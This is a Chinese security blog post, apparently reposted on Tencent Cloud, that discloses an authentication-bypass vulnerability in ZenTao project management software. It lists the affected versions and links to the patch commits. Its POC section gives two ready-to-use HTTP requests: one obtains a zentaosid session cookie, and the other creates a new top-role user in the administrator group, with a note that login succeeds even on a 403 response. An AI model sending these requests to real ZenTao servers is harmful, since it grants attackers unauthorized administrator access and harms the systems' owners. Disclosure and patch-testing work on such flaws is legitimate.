N/A｜禅道项目管理系统身份认证绕过漏洞（POC）

信安百科

发布于 2024-05-07 14:39:25

3190

发布于 2024-05-07 14:39:25

文章被收录于专栏：信安百科信安百科

0x00 前言

禅道是由青岛易软天创网络科技有限公司开发的开源项目管理软件，基于敏捷和CMMI管理理念进行设计，集产品管理、项目管理、质量管理、文档管理、组织管理和事务管理于一体，完整覆盖研发项目管理的核心流程。

0x01 漏洞描述

禅道项目管理系统存在身份认证绕过漏洞，远程攻击者利用该漏洞可以绕过身份认证，调用任意API接口并修改管理员用户的密码，并以管理员用户登录该系统。

0x02 CVE编号

无

0x03 影响版本

v16.x<=禅道< v18.12（开源版）

v6.x<=禅道< v8.12（企业版）

v3.x<=禅道< v4.12（旗舰版）

0x04 漏洞详情

POC：

获取zentaosid的值

GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
Host: you-ip

添加用户：

POST /zentao/api.php/v1/users HTTP/1.1
Cookie: zentaosid=xxxxxxxxxx
Host: you-ip

{"account": "zxczxc123", "password": "admin@123", "realname": "zxczxc123", "role": "top", "group": "1"}

返回403也可以登陆。

0x05 参考链接

https://github.com/easysoft/zentaopms

https://github.com/easysoft/zentaopms/commit/d13ba70016ca981b08f27e08fb934bf1f23a4135

https://github.com/easysoft/zentaopms/commit/695055c6b1d2e6a8c944bdbc38308c06820c40ce

本文参与?腾讯云自媒体分享计划，分享自微信公众号。

原始发表：2024-05-01，如有侵权请联系?cloudcommunity@tencent.com 删除

管理